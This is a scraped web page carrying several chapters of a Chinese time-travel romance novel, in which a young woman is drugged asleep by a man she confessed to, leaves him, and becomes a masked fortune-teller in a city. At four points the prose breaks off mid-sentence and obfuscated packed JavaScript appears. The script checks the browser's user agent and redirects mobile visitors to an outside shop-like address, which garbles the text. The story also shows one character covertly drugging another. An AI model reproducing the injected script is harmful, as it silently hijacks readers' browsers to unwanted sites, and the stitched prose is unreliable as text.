儿时母亲便告诉他,不只有男孩可以读书,女孩也可以。母亲出身于一个世代相传的中医世家,饱读诗书,从小习医,诊治无数女子孩童,后嫁给在太医院任职的父亲,却在一场突如其来的风寒中一病不起,再也没有醒来。 姜庭芜费劲心思地摆脱嫁给病秧子冲喜的命运,就应该闯出属于自己的一番成就,而不是随着广大女子的脚步盲目嫁人。 她有双明亮的眼睛,像天边那轮圆月,一笑起来就弯成小月牙。每次对上她的眼,平阑就感到自己的心被她的一举一动牵动。 她应该去学堂念书,有一番自己的作为。 平阑想把姜庭芜往外推,他不能答应她。 姜庭芜并不知道平阑弯弯绕绕的内心斗争,但她看出他在犹豫。 这事确实是她唐突,姜庭芜犹豫了片刻,突然反悔了。正当她低着头,刮肚搜肠地想找个话题糊弄过去,一只骨节分明的手突然伸过来。 那手轻柔地抚上她的脸,姜庭芜懵懵地抬头,鼻子里猝不及防吸入一点刺鼻的味道,顿时姜庭芜感到喉咙一阵发紧,伴随着突如其来的头晕,眼前平阑的身影开始变得模糊不清。 姜庭芜迟钝地眨眨眼,感觉自己思绪突然变慢,强烈的困意瞬间涌了上来。 “你……”姜庭芜开口想说什么,刚吐出一个字,整个人突然失去意识,不受控制地向前倒。 平阑眼疾手快接住了她,月光好似那晚的寒霜,冷冰冰地冻在平阑脸上。他摊开掌心,吹散了手中灰绿色的粉末。 他不敢也不能回应姜庭芜的告白,只能耍了点卑劣的小手段。 迷药剂量不多,但也足够她睡到明日。 平阑把姜庭芜抱起来,她很单薄,抱在怀里像一片薄薄的羽毛。平阑轻轻捏住她的手,姜庭芜手指上的戒指硌着他的掌心,平阑忽然想起,还没问过她这些漂亮戒指是哪来的,他还没见过这种戒指,难不成是西洋流传过来的小玩意? 他皱着眉,突然摸到怀里有个油腻腻的纸包,打开一看,是姜庭芜下午塞给他的“煎夹子”。 平阑扯扯嘴角,露出一个苦涩的微笑,又将其塞回怀里。 夜已深,一只寒鸦落在树顶,乌黑的眼珠盯着不远处的破草屋,似乎在思索着要不要去叼几根稻草来充实自己的窝。 可能觉得太过简陋,寒鸦发出几声粗哑的叫唤,又把头转过去寻找其他目标。草地里的一点寒光吸引了它的注意,乌鸦“嘎”地叫唤了一声,扑腾着翅膀兴奋地扑过去,衔起那只耳环。由于起飞时太过着急,它站着的那根枝丫承受不住它的力量,应声折断。 声响惊动了刚出门的平阑,他肩上背着个布包,穿戴得整整齐齐。原本漂亮的桃花眼暗淡无光,爬着几根血丝,薄唇紧紧抿成一条线,毫无活气的眼珠间或一转,落在乌鸦身上。 身后的小屋里,姜庭芜已经被她安顿好,安静地熟睡着,床边压着封他匆匆写好的信。 寒鸦刚把那小玩意叼在嘴里,它站在草坪上,和平阑四目相对,不解地歪歪脑袋,“呱——呱——”地叫了两声,似乎在嘲讽平阑,接着头也不回地飞走。 “咚!”刚才被乌鸦踩断的树枝终于从层层叠叠的枝叶间落下,砸在地上,发出一声脆响。 姜庭芜猛地被惊醒。 “咚!” 外面隐约传来锣鼓的“咚咚”声,细细一听里面还夹杂着唢呐的呜咽和咿咿呀呀的哭声。 是有人在送葬吗? 嘶——现在几点了? 姜庭芜勉强撑开眼,窗外的天才蒙蒙亮…… 她困得不行,迷迷糊糊又闭上眼,翻个身想继续睡。但突然意识到有些不对:昨晚发生什么事了,我……怎么突然睡着了…… 姜庭芜瞬间清醒,扶着额头坐起来,记忆有些混乱,她揉着太阳穴,一时间没想起来。 平阑呢? 床边的纸恰到好处地被风吹起,从缝隙里滑出,悄无声息地躺在地上。 姜庭芜余光瞥见那张纸,脸色一变。 一目十行地看完平阑真情实感的小作文,姜庭芜气得咬牙切齿——这个胆小鬼! 平阑用情至切,洋洋洒洒表达了自己的歉意,然后就半夜自己偷偷溜走了! 姜庭芜气得把纸揉成一团,恨恨地丢到地上。 说到底还是自己太莽撞,把帅哥吓跑了!姜庭芜懊恼地抓了抓脑袋,把原本睡乱的长发挠得更乱了。 还在信里虚情假意地说自己昨晚接到一封紧急的通知,需要离开几日! 简直就把她当三岁小孩来戏弄! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888261|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这里,姜庭芜一骨碌跳下床,既然攻略帅哥没成功,那要另寻出路了。她一刻也不想在这令人伤心的地方待着了! 姜庭芜简单收拾好自己的东西,平阑在桌上给他留了个木匣子,打开一看里面是些盘缠首饰,虽说姜庭芜是个小财迷,但拿这钱也太没义气了。她撇了撇嘴,有些心疼但坚决地关上盒子锁好。 临走前她从柜子里抽了张纸,提笔龙飞凤舞地留下几行字,大大咧咧地塞在匣子底下,头也不回地离开这间破草屋。 姜庭芜意气用事,说走就走。 朝着东边走了半个时辰,她来到一条宽阔的黄泥路边。姜庭芜手搭凉棚,眯着眼在尘土中张望了一番四周。她记性很好,先前在草屋里看见墙上有张简陋的地图,她大致扫了一眼,还记得村落分布。 南边的青陵城她肯定不会回去,那就去另一个城,姜庭芜记得北边也有个县城,叫永安城。 姜庭芜果断决定就去那里。 日头偏西,姜庭芜轻快地从一辆运粮车上跳下来,对着善良的赶马人招招手,转过身兴奋地向青灰色的城门走去。 她即将开启一个全新的体验。 上一世虽说工作难找,但姜庭芜凭借着较为出色的工作能力,也找到一份颇为不错的工作,虽然老板和客户一个比一个烦人,但最起码生活过得有滋有润。 但在古代找工作可就难多了。 姜庭芜一腔热血,觉得凭借自己现代高科技熏陶过的脑子和技能,一定可以找到一个好工作。 但事与愿违,一连问了好几家酒肆,对方一见是个姑娘前来应聘,全都连连摆手。 永安城可比落枫山旁边的集市大得多,因此城中鱼龙混杂,不少人家穷苦得揭不开锅,不得不让其子女沦为盗贼、乞丐。 明明新朝刚建,一切应该欣欣向荣,但除开初一十五赶集外,这里居民的生活热情不高,结束一天的劳作后也没什么娱乐措施,家家户户各自回家,早早吹灭灯歇下,黑漆漆的房屋乍一眼望过去像冰冷的坟墓。 那日姜庭芜在一巷口撞到个醉鬼,满身臭气,衣衫褴褛。看见她独自一人站在那里,就想上前调戏。姜庭芜板着张臭脸,想先骂了几句可让他消停,结果那醉鬼不识好歹,伸手竟然想摸姜庭芜的脸! 这可惹怒了姜庭芜,抬手对着他脸就是一拳,醉鬼是个草包,早就被酒色掏空身体,“扑咚”一下仰面躺在地上,满嘴鲜血哭爹喊娘连滚带爬地跑走了。 处处碰壁的姜庭芜灰心丧气,打算躺平摸鱼几天,结果一日出门闲逛,见那西洋人的杂耍摊前喝彩连连,没留心往里挤了挤,出来就发现不知被哪个小毛贼顺走了荷包。 索性她留了心眼,没有把全部家当都塞在荷包里,否则连住客栈的钱都交不起,直接滚去街头喝西北风。 看着所剩无几的碎银子,姜庭芜含泪咬牙继续去找工作。 终于,功夫不负有心人,姜庭芜最后在一家寡妇开的小茶馆里打杂。虽然每日光顾的人不多,但活一点都不少。姜庭芜每天起早贪黑,端茶倒水,擦桌摆椅全是她干的。 寡妇对她特别严苛,要是有个桌上茶水没擦干,或地上还有瓜子壳,就会命令姜庭芜再去收拾一遍。 不仅如此,茶馆收入不多,老板还三日两天拿着微薄的薪水刁难姜庭芜,惹得她苦不堪言,但一时半会找不到工作,只好先忍气吞声。 姜庭芜甚至开始怀念上一世的老板! 直到一日清晨,姜庭芜太困失手打碎一口瓷碗,被寡妇跳着脚狠狠骂了一顿,她方才下定决心另寻挣钱的法子。 她可不想再做牛马天天给资本家打工! 8. 第八章 昨夜偷摸跑路的平某人已经站在古寺门口,他觉得这两天自己整个人被吓得晕头转向,已经乱成一锅粥可以趁热喝了。 望着红漆斑驳的寺门,平阑恍惚间感觉自己又回到一年前的冬夜,那个一身寒气又倔强的少年也是这样彷徨地站在门口。 不过当时的他在寻找一个容身之所,而现在,他在等待着破开迷茫的出口。 无念大师好像总能预判他的到来,天未亮就让小和尚开门放他进来。 平阑在他常住的客堂里歇息了许久,等到天明,无念大师才推门进来。 告知来意后,无念大师眯着眼沉默良久,平阑也没出声,只是静静地坐在桌前,看着无念不紧不慢地转悠着手中的佛珠,许久之后,他慢慢睁开微阖的眼。 无念大师瞳孔颜色很浅,眼珠像孩提手中残缺的玻璃珠,这种颜色的眼睛在古代被视作不详的征兆,因此无念大师从出生起就受到来自父母旁人的冷落,不满周岁就被人遗弃在这间破旧的寺庙门口。 当时的老住持半夜听见外面隐约传来像猫儿一样微弱的啼哭声,起来查看才发现门口放着个烂布包,天寒地冻,无念被冻得直哭。 那时的无念抱起来跟一只猫差不多重,因为父母视其邪祟,基本上不怎么管他,小小的无念饿得面黄肌瘦,衬得那双眼睛格外得大。 住持叹了口气,把小无念抱了起来,他还不会说话,“咿呀咿呀”发出微弱的叫声,灰蒙蒙的眼睛骨碌骨碌转,盯着住持看。 住持终究还是把他抱回去了,就这么在寺庙里养着养着,无念也一步步从那个瘦小的小和尚,逐渐长成现在庙里的住持。 长年累月的点烛抄习诵读经文,使得无念大师的眼睛受损严重,或许是先天的问题,他的眼睛已经看不太清东西。平阑虽为其缝制明目的香囊,又替他寻得了几味药方,时时嘱咐他记得吃,但用处不大,无念的视力还是一日不如一日。 平阑每每见到他都心急,恨不得寻遍天底下药方为其治疗眼疾,但无念总是淡淡地阻拦下他,含着笑安慰道。 “无妨,心中有佛,无须目看。” 平阑从往事抽离,重新看向无念大师。无念虽然看不太清楚,还是认真地打量了一番平阑,轻笑起来。 “阿弥陀佛,这是个未解的题。” “此事,元初你问我,贫僧也难说一二。” 平阑这才反应过来,出家人都是看破红尘之人,他与无念大师抱怨此事,是不是……不太妥当。 无念看出他的踌躇,起身重新点燃墙边熄灭的蜡烛。 “菩提本无树,明镜亦非台,不要被虚妄所蒙蔽双眼,问心,唯有安宁才可归。” 无念大师的简单一番话四两拨千斤,平阑若有所思地点点头,起身告辞。 “这回不多留几日?” 平阑在古樟树下回头,他个子高挑,裹着件月白色的披风,越发显得身形挺拔。英俊脸庞还带着少年气,浓密的剑眉带着别样的英气。 本该是鲜衣怒马少年狂的时候,平阑却被磨砺得如同河底之石,八方不乱。 虽要入冬,但中午的风还是暖融融的,拂起平阑额边的碎发,他失去活气的眼珠里终于染上鲜艳的光芒,冲着无念欢畅一笑,招了招手。 “问心,心有所归。” 平阑的声音消散在小和尚的念经声里,无念无奈地摇了摇头,转身回屋。 平阑拿不准姜庭芜看到纸条后是什么反应,也不知道她还在不在草屋里。虽说贸然离去实在有些鲁莽,平阑也是一时郁闷,只好冲去找无念大吐苦水。 当他风尘仆仆地赶回草屋时,发现屋内空无一人,他临走时写的短信被揉成一团后又展开,草草压在木匣子底下。平阑将其抽出打开,印入眼帘的是底下一行小字。 【无意打扰,有缘再见。姜庭芜留】 她的字很潇洒,颇有点江湖侠气,平阑捏着纸哭笑不得,这姑娘表白不成就跑路,溜得也太快了吧! 平阑怅然失所地抬起头,小屋又重回原先冷清的模样。这里本就偏僻,少有人来,最近也不知怎么的,连野兽都不光顾这里,空空荡荡的,草屋都快被疯长的野草吞噬。 如果整个冬天都待在这里,会闷出病来的吧。 介于之前又在不远处的集市上遇见“老熟人”,这里大抵也不太安全,平阑站在破旧的墙壁前思考了半柱香的时间,最终毅然决定离开这里。 - 时间一晃过得很快,姜庭芜已经从干了近一个月的小茶馆离开,好好享受几天不干活的生活。 这天下午,她顺着永安城最繁华的大街溜达,思索着该去干什么快速挣些钱来。 她用挣来的一点钱好好捯饬一下自己,现已入冬,姜庭芜穿回到的地方偏向江南之地,但古代的天气可比现在冷得多,还未到冬至,天色已经昏昏沉沉,天空已经开始纷纷扬扬飘起雪花。 姜庭芜换了件带兜帽的斗篷,古代没有口罩,但有贵族女子戴的皮毛面帘,姜庭芜生怕自己的脸被风吹裂,一出门就把自己捂得严严实实。 这样一看,姜庭芜的打扮俨然一副富家千金的模样,但想到自己徒有虚名的身份,姜庭芜又没忍住翻了个白眼。 也不知道微云和杏儿过得怎么样了,掐指一算,她穿越过来也一个多月了,在现代社会的记忆竟然不知不觉间开始有些模糊。 搓着自己冰凉的手,姜庭芜寻思着要不要去买个小火炉暖手。 几片雪花落到她脸上,姜庭芜仰起头,看细密的雪飘下来,这种天气可是最适合去吃热乎乎的火锅了! 姜庭芜想到香喷喷的鸳鸯锅,肚子就开始叫唤,忍不住可怜巴巴地咽了口口水。 虽说火锅的雏形版永安城高档次点的酒馆里也有,姜庭芜不止一次看见几个家产万贯的富商围坐在桌前涮肉,馋得她直流口水。可惜古代的火锅和现代的还是不同,姜庭芜知道那些火锅不是她想要的滋味,而且价格高,根本不值得吃。 吃不了火锅,姜庭芜又没忍住想喝奶茶。 虽说奶加茶就可以做一个简易版奶茶,但是!根本不好喝! 姜庭芜过去还在控糖,一个月顶多喝两三杯。现在的姜庭芜一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888262|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这就恨不得穿回去狠狠揍自己一顿。 戒什么糖!现在倒好,想喝都喝不到!人就应该享受当下,等到连享受也享受不了就惨了! 姜庭芜边走边胡思乱想,等她回过神来一条街都差不多都逛到底了。 天气太冷她有点扛不住,便想着还是先回客栈歇息吧。 但是一阵香气传来,姜庭芜不由得停下脚步。 入冬粮食减少,肉菜都变贵了。为了省钱,姜庭芜已经吃了好几顿白菜炖豆腐和白面馒头。 她其实从小就有些挑食,长大才稍微好一些,结果现在迫不得吃这些东西,简直欲哭无泪。 吃着吃着,姜庭芜还会怀念起平阑做的菜,虽然只吃了两顿,但是真的很美味…… 姜庭芜晃了晃脑袋,把目光放回香气的来源处。 是个买腊肉的铺子。对哦,算一算,应该还有一个多月就要过年了。 姜庭芜几天没吃肉了,觉得自己又冷又不补充营养,要是在古代痛经那该怎么办。古代条件没有现在便利,她要是把自己这小身板弄坏了那怎么得了。 姜庭芜二话不说买了半斤腊肉,打算今晚改善一下伙食。 买腊味的人还挺多的,姜庭芜拎着腊肉出来,被个匆匆忙忙挤进来的中年男子撞了一下,整个人踉跄着扑到一边,险些把旁边小摊的东西撞飞。 旁边小摊坐着个老婆婆,她本眯着眼打瞌睡,结果被姜庭芜一撞惊醒了。 老婆婆佝偻着身子,整个人缩成一团取暖,枯白的头发用粗布帕子松松垮垮地包着,露出一张满脸沟壑的脸,她摘下带着补丁的粗棉布手套,用冻红的手指揉了揉浑浊的眼球,再看向姜庭芜。 “姑娘,你要来算一卦吗?” “什么?”姜庭芜还没反应过来,身后突然蹿出一个中年妇人,她穿着素色厚棉窄袖袄,下着相同颜色的长裙,手里还抱着一个裹成球的小孩,一下子把姜庭芜挤到一边。 “严婆婆哎,你看看我家小六子……怎么样,他……”妇人红着眼眶,把孩子往老婆婆手里塞。 老婆婆接过孩子,随口问了生辰八字,扒开帽子摸了摸额头,又捏了捏孩子的手。 “放心,夫人,这孩子八字是年时换禄、五行匀和,日主坐贵又得印星护佑,放心,挺得过这冬天的。来年开春就是活蹦乱跳的大胖小子了。”老婆婆显然知道妇人要问什么,几句话就说得妇人眉开眼笑。 妇人接回小孩,小心翼翼地给他理好衣服,又从口袋里掏出一个小布袋,恭恭敬敬地放到老婆婆手里。 “婆婆,一点心意,我家小六子病了几天,我急得不行,听院子里的嬷嬷说您看得好……” “无妨无妨,公子福泽深厚,好福气在后头呢!喏,这个,挂在公子床头,三日,不出三日定能好!” 目送着妇人千恩万谢地离开,姜庭芜裹紧身上的斗篷,抖了抖肩头的雪花。 “小姑娘,你也要算命吗。” “不……”姜庭芜下意识想拒绝,但忽然灵机一动,立马改口,“婆婆,我可以跟着你学一下算命吗。” 9. 第九章 原本姜庭芜并没有这个打算,她本来打定主意想在集市里支个小摊买点小玩意,但刚看严婆婆算命给了她一点提醒:古代的百姓普遍都很迷信。 即使在现代,像结婚乔迁等重大喜事都需要找算命先生来挑个好日子,热热闹闹欢欢喜喜地庆祝一番,更别说古代了,人们干什么都喜欢去算一卦来看看自己的运气和决定怎么样。 “什么?你一小姑娘……要跟我老太婆学算命?”严婆婆抬起发黄的眼珠,上下打量了一番姜庭芜,“去去去一边去,搞什么嘛,你不会是隔壁老李来砸我摊子的吧……” 姜庭芜没料到严婆婆反应这么大,眼看着她干瘪的嘴里嘟囔着,开始收拾东西准备离开,姜庭芜赶紧上前将她拦下来。 “哎——婆婆你别急嘛,我……我只是问一下,我对这个还挺感兴趣的,为什么不能学啊。” 严婆婆斜睨着眼盯着姜庭芜,看她巴眨着眼一脸诚恳的模样,看着不像是来砸场子的。 严婆婆原本浑浊的眼珠一亮,她转了转眼珠,像是思索着什么,又重新坐下。她从屁股底下掏出一个也是破破烂烂的小板凳,塞给姜庭芜。 “喏,姑娘你坐吧。” 姜庭芜大喜过望,赶忙拍拍屁股坐下,见严婆婆一脸神秘样,满心欢喜地等她说话。 “算命嘛……是个好东西,你这小丫头运气好遇上婆婆我了,过了今天,明儿我可就不干了……” “为什么?”姜庭芜有些惊讶地看着她,老婆婆故意停顿吊足胃口,见姜庭芜上钩,便慢悠悠地继续讲下去。 “老喽,该收手回家享福喽。”严婆婆冲着她摇晃了一下满当当的布袋,露出神秘的一笑。 “老身呢,其实也只是略懂,这个东西可是……哎呀,难说难说。”严婆婆抬起松松垮垮的眼皮,风雪更大了,吹得她稀疏花白的头发乱飞,连粗布帕子都被卷到一边去。 她俯下身,从口袋里掏出一本皱巴巴黄不拉几的书,塞到姜庭芜手里。 严婆婆又露出神神秘秘的微笑,眼角的褶子开成朵菊花,她咧开快掉完牙齿的嘴。 “小姑娘,自己揣摩一下吧,老身帮不了你什么,算命这种东西,不学也能算。”说罢,她飞快理好自己的东西,冲着姜庭芜狡黠地眨眨眼,提着破破烂烂的布包起身离开,瞬间淹没在来来往往的人群里。 “哎!婆婆,你……”姜庭芜话还未说完,刚想起身去追,一阵狂风夹杂着细密的雪花,气势汹汹地扑了姜庭芜一脸,迫使她不得不抬手挡着脸,再等她睁开眼,别说追了,连老婆婆钻哪去都找不到方向了。 “真是奇怪……”姜庭芜有些摸不着头脑,觉得这个严婆婆有些神神叨叨的,说了一堆话约等于没说,但她又塞给她一本封面无字的破书,也不知道是干什么的。 天已经黑透,风雪加大了,姜庭芜被冻得狠狠打了个喷嚏,怀里的腊肉也凉透了,她不敢停留,连忙向客栈赶去。 姜庭芜几乎整晚都没怎么睡,她借着客栈里昏暗的烛光,在狭小的床上翻来覆去地翻看着这本破破烂烂的小册子。里面画着一些姜庭芜看不太懂的文字符号,她囫囵看了个大概。 但是姜庭芜已经打定主意,明天就去摆个摊试试。 管它行不行呢,不试试怎么知道。 况且上一世她上班上得癫狂,每天披头散发地干活,没事跟朋友神神叨叨地吐槽抱怨,精神状态极其不稳定,恨不得化身成热带雨林里的猴子,每天在森林里荡来荡去,何尝算不上……半个神婆。 第二天一早,窗外的鸡鸣声一响,几乎一夜没合眼的姜庭芜就像打了鸡血般跳起来,先冲去集市上购买了一些摆摊的必需品。 等姜庭芜赶到闹市区,太阳已经升到半山腰,她就大大咧咧地挑了个地,往地上铺了块布,支棱起一个毫不起眼的小摊。 姜庭芜还是有备而来的,特地向客栈老板借了笔墨,又捡了块废弃的破木板,在上头工工整整地写上【算命,不准不要钱】。 准备就绪后,姜庭芜还将自己稍稍打扮了一番,换上一身粗布素白布袍,长长的黑发简单盘起,戴着个素色帷帽,将她的脸严严实实地遮挡住。 为了让自己看上去更逼真更有说服力,姜庭芜还像模像样地往腰上挂了个木质的罗盘,乍一看简直就是个如假包换的的大师。 今天没下雪,阳光明媚,街上的人瞬间比平时多了不少,都趁着这个好天气出来买卖东西,或者晒会久违的太阳。 姜庭芜早就在老板和客户的锻炼下磨砺成厚脸皮,看着眼前熙熙攘攘的人流,毫不客气地开始吆喝起来。 “走过路过的,南来北往的,都来看一看——算八字、看手相,问姻缘、断前程喽!一盏茶的功夫,解你三年迷茫,不准分文不取!” 虽然这吆喝听起来特别像个骗子,但还是顺利吸引了不少人的目光。人们纷纷驻足,侧耳打探这是何方神圣。 但大家只是观望,对姜庭芜还报有一丝警惕,吆喝半天也只是吸引来一波人,团团将她围住。 纵使姜庭芜脸皮厚,面对着一大波人目光的审视,她藏在帷幔后面的脸已经涨得通红。这时,一个满面忧愁的老妇人走过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888263|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她慢慢挤进人群,又随着起伏的人流挤到姜庭芜面前。 她似乎没反应过来,稀里糊涂看了眼摊位上的牌子,又转过脸打量了一番姜庭芜,似乎觉得她看上去还算靠谱,就在她摊前蹲下。 “姑娘,我想算一算,我的……孙儿可否能平平安安长大……”老妇人的声音有些沙哑,梳得整齐的黑发里夹杂着不少银丝,说着说着眼圈忽而通红。 “可以的,婶婶你莫急,先坐吧,慢慢讲。” 看她这幅憔悴样,姜庭芜赶紧搬了张小凳子给她坐,生怕她一个不稳摔倒在地,到时候反过来讹她。 妇人坐下后,一把鼻涕一把眼泪地开始讲自己家那个孙孙有多惨。 “你不知道哦,脸都通红了,一直在哭……”妇人把她孙子的情况大概描述了一下,又把生辰八字报出来。 “姑娘你算算,我就这一个小孙孙啊,哎呦喂,说到这我的心口疼喂……”老妇人拉长声音的哭腔特别有震慑了,但是她孙孙的生辰八字实在太过耳熟,这不就是昨日那个妇人抱来给严婆婆看的孩子吗! 姜庭芜顺着昨日严婆婆的话,学着书上的专业术语,说其小孙孙是有福气的,病一定会好起来。 说到这,姜庭芜于心不忍,觉得那孩子病重应当去看郎中。 要是平阑在就好了。 姜庭芜没有由来的念头一出,瞬间被自己的想法吓了一跳。但又无不没道理,平阑确实医术高明,否则她的胳膊可不会好得这么快。 她有些怅然地叹了口气,想到自己前些日子买了些抗风寒的药丸,便取了几粒出来,包好塞给老妇人。又拿出张黄纸,提笔在纸上画了个护身符出来,一并递给她。 这护身符其实也是姜庭芜昨晚现学的,她就学会了几个最基础的护身符,将就着糊弄一下。 老妇人连声感谢,姜庭芜扶着她起来,想了想还是小声提醒她:“婶婶,有句话,小女子还是得说,你家小六子还是最好去看看郎中,纵使孩子五行平衡,也不得硬抗,实在不行,这几粒药喂给孩子吃。” 老妇人抬起眼睛,茫然地盯着姜庭芜的帷帽,似乎想看清她的脸,她干裂的嘴唇翕动着,许久之后才喃喃自语道。 “姑娘……姑娘真神,您怎么算到我家小六子的名字……”她似乎彻底信服了,从贴身的夹袄里取出一个荷包,颤颤巍巍地倒出几颗碎银子,塞到姜庭芜手里,拿着她给的药和护身符蹒跚着走进人群。 第一单就这么顺利解决,是个好苗头,但姜庭芜握着手心里的碎银子,看着老妇人的身影,却忍不住皱紧眉头。 10. 第十章 但姜庭芜根本来不及伤感,有个良好的开端,其他人就放心大胆地冲上来。 一瞬间,姜庭芜的小摊就挤满了人,而路过的人看见前面一堆人挤在一起,也纷纷上前凑热闹。 “什么事什么事?” “都让一让,我也要看!” “怎么了……是西洋人又开始耍把戏了吗?” “不对不对,是个姑娘!” “姑娘?” “对,算命的姑娘!” 挤在后头的人七嘴八舌叽叽喳喳,消息长了翅膀般一传十十传百,很快今天赶集的人都听说集市上来了个算命的姑娘。 姜庭芜一脸震惊地看着眼前庞大的人群,惊喜之余忐忑不安地让第二个人坐下。 也算是幸运,姜庭芜有惊无险地帮他们算完命,因为绝大部分人问得都是一些小事,姜庭芜装模作样地替他们看手相,又认真听他们絮絮叨叨的话,从中挑出关键信息对症下药。 由于姜庭芜不会什么六爻、梅花易数之类的,算命方式就简洁明了多了。她的算命只需要看面相和手相,再根据每个人的需求来得出结论。 姜庭芜很擅长察言观色,上一世她就熟练运用这个技能,甚至可以通过观察客户的小动作来判断其喜好,也可以观察老板今天的穿着打扮来判断有没有和他老婆吵架。 百试百灵,屡试不爽,几乎没有出过错,这也是姜庭芜为什么有自信摆摊算命的原因之一。 一个上午忙活完,姜庭芜抽空数了数银子,意外发现挣了不少钱。 当然也有几个比较难缠,轮到一中年男子,他一屁股坐在姜庭芜面前,扬言让她算一下自己明年能否高中。起初姜庭芜没在意,看了他的面相和手相,念念有词一番后,刚想说几句吉利话,那男子却突然打断姜庭芜的话。 “别说那些中听不中用的,劳烦姑娘告诉我,是能,还是不能。” “好好讲,算不好,姑娘你就得赔我点钱。”说着还不怀好意地伸手想捏姜庭芜的手。 姜庭芜没有说话,她立马缩回手,冷眼从头到脚扫了他一遍,轻声说:“这位公子还是请回吧,小女子看不了。” “为什么!你凭什么不给我算!” 姜庭芜眸色沉沉,但开口气势丝毫不退缩。 “算命需要诚心求问,公子你是真心想知道自己能否高中,还是来讹钱的,若想讹钱,何必找我一弱女子?凡是万物皆其规矩,我也有我自己的规矩,公子倘若遵守不了,还是请回吧。” 她抬手将手心的铜钱“丁零当啷”地撒在地上,沉默不语地看了片刻,笑道。 “公子,我说得对吗?” 姜庭芜不是傻子,在古代摸爬滚打地活了这么久,她自然认得清人。 中年男子的谎话太过粗劣,大龄儒生身上的书卷气与求贤若渴的欲望是很难掩饰的,姜庭芜见过那些苦读而不得志的人,穿着洗得发白的旧衣服,眼睛里全是莹莹的光芒,像两团用灵魂焚烧的鬼火。 而眼前男子满面油光,眼神里的狡猾和周身的气质都准确无比地告诉姜庭芜,他大概率是个油嘴滑舌的江湖老油条,专门来找小摊坑钱的。 男人本想反驳,结果脸色忽然一变——他看见刚才姜庭芜随手撒下去的几枚铜钱,以一个奇怪的形状排列起来,看上去像一只张牙舞爪的鬼影。 “看来老天也是这么说的。”姜庭芜低头扫了一眼铜钱,发出一声讥讽的嘲笑。 “要我给你画张辟邪的符纸吗……”姜庭芜话还没说完,那男子就已经脚底抹油,飞快地溜走了。 “真是找骂,浪费我时间……”姜庭芜在心里骂了一句,重新把散落的铜钱收起来。 “姐姐,姐姐好厉害!”一个小小的稚嫩的声音响起,循声望去,是个七八岁大的小女孩,穿着粗布短衫,头上扎着可爱的双丫髻。虽然衣着朴素,但她发间扎着个色彩鲜艳的红布条,有些害羞地缩在一个年轻妇人腿后,只露出一双圆溜溜的大眼睛。 看得姜庭芜瞬间爱心泛滥,她快速画好一个护身符,走过去递给小女孩。 “谢谢你,这个给你……”小女孩又害羞起来,死死扒拉着母亲的裤脚,将被风吹红的小脸紧紧贴在上面。 妇人接下护身符,连声道谢,姜庭芜伸手摸了摸小女孩的脑袋,转身重新回到自己的摊位前。 小时候公园里常有看手相的大爷,姜庭芜忽然感觉自己特别像他们,话说得头头是道,可以把人忽悠得团团转。 姜庭芜没少遇见,有几次都是被强制拦住,口口声声说着不要钱,结果看完就变脸要钱,不给不让走。 第一天虽说有些兵荒马乱,但还是顺利结束了。眼见天色黑下来,原本水泄不通的摊子也逐渐冷清,姜庭芜看完最后一个客人,喜滋滋地收拾好东西准备回去。 她没留意到,不远处的巷口站着个人,穿着一身玄衣,在黑暗下几乎与灰色的墙壁融为一体,乍一眼看过去,根本注意不到。 目送着姜庭芜远去的背影,那人转身走进巷子深处,很快就消失不见。 世界就是个巨大的草台班子。姜庭芜算是深刻体会到了,不管是在古代还是在现代! 终于找到一个挣钱的方法,姜庭芜爽快地奖励自己吃了顿好的,舒舒服服躺在床上一觉睡到天亮。 第二天早上,等姜庭芜收拾好赶到时,昨天的摊位早已被人群包围住,看来招牌是打出去了。 不少人都是慕名过来看热闹的,但姜庭芜说话轻声细语,算命算得也八九不离十,不少人都跃跃欲试。 中国人刻在骨子里的来都来了,想着既然都来看了,那也去算一算。 小摊门庭若市,客人络绎不绝,姜庭芜每天挣钱都挣到手软:大家别急,一个一个来,都有份! 但这番热闹景象也难免遭人嫉妒,不出半个月,姜庭芜已经成为永安城最有名的算命大师,由于行事神秘不露脸,算命手法又与众不同,成为街坊邻居茶余饭后里津津乐道地谈资,就这么口口相传,最后惊动了永安城最有名的恶霸。 听闻此事后,他专挑一日中午,借着手下小弟的消息,在茶楼里堵住正在歇息的姜庭芜。 恶霸姓罗,是个屠夫,满身肥膘,常年不换的粗布麻衣上全是油腻腻的污渍和飞溅的肉沫血星子。脸色黑红,挤满同样油腻腻令人作呕的横肉,黑乎乎的络腮胡纠缠在一块, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 